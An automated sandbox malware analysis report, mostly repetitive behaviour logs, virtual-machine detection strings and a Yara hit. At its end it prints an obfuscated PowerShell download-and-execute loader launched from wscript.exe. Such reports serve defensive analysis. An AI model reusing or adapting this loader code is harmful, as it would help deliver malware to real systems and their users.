Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3624	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6231	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7844	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1766	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7876	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5916	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2276	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicshutdown Hyper-V Guest Shutdown Service
Source: wscript.exe, 00000000.00000003.1271680523.000001D5A7B2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicheartbeat Hyper-V Heartbeat Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvmsession Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q$Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicrdv Hyper-V Remote Desktop Virtualizati...
Source: wscript.exe, 00000000.00000003.1271596131.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1262046725.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270688935.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1265664478.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1274950930.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1266783931.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1260517825.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1274759946.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1260425360.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1262046725.000001D5A7A44000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1261264984.000001D5A7A68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q!Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicguestinterface Hyper-V Guest Service Interface
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #Hyper-V Remote Desktop Virtualizati
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Service Interface
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q-Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: wscript.exe, 00000000.00000003.1271337918.000001D5A5C0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1273952548.000001D5A5C0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1266659730.000001D5A5C1C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Heartbeat Service
Source: wscript.exe, 00000000.00000002.1275119812.000001D5A7B30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Data Exchange Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Time Synchronization Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q$Hyper-V Time Synchronization Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmictimesync Hyper-V Time Synchronization Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Stopped vmicvss
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvss Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmickvpexchange Hyper-V Data Exchange Service
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A5B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000005.00000002.1357902050.000001D1A6583000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Time Synchronization Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_8104.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Thickskulled='func';Get-History;$Thickskulled+='t';Get-History;$Thickskulled+='i';$Hyldebusk=Get-History;$Thickskulled+='on:';(ni -p $Thickskulled -n Centralkomites -value { param($Toenderne);$Udlaansafdelingerne=5;do {$Hypersonically78+=$Toenderne[$Udlaansafdelingerne];$Udlaansafdelingerne+=6} until(!$Toenderne[$Udlaansafdelingerne])$Hypersonically78});ConvertTo-Html;(ni -p $Thickskulled -n Desiodothyroxine3 -value {param($Yodhs);.($Likrer) ($Yodhs)});ConvertTo-Html;$Protozoal=Centralkomites 'UdhunNAandseH lvfTKnowi.Sygehw';$Protozoal+=Centralkomites 'Tra.pe Ng eBGee.scStannl espIWeekeESkrumNOve,ft';$Affaldsbehandlingssystem=Centralkomites 'StensM SuitoTapwozPlatfividerlRooinl kogla Galm/';$Humps=Centralkomites 'Unt,rT b ralShowes ksko1I ter2';$Personnummers='Natur[ Mor.NPaa eEMondoTEll c.AudiosSuperEDirkeRTilkmvKorreiAl efcPyramEBrrespApproOAssorIu visNWhi ktIntegm per aGrievn ddanAfortrGFremhEFren rSoutf]Hellb: Hove: ensesEngulER.novcS wdeU PostrAcadeIElytrTAvedrySoejlpPardyRCodeboBassiTDeteko Fermc Utm.Ou derl Un,e=Gener$UnencHUdkraU ponsmAbeskpCheaps';$Affaldsbehandlingssystem+=Centralkomites 'Re.ym5 Me e. Re a0Civil Basha(,idsnWFjorti umlinA prodKilesoM.gilwIllegsGonad ParaNFaculTR sle B try1 Tita0 Neut.Restr0Umora;Disv Wan lWStimuiHjertnUnte 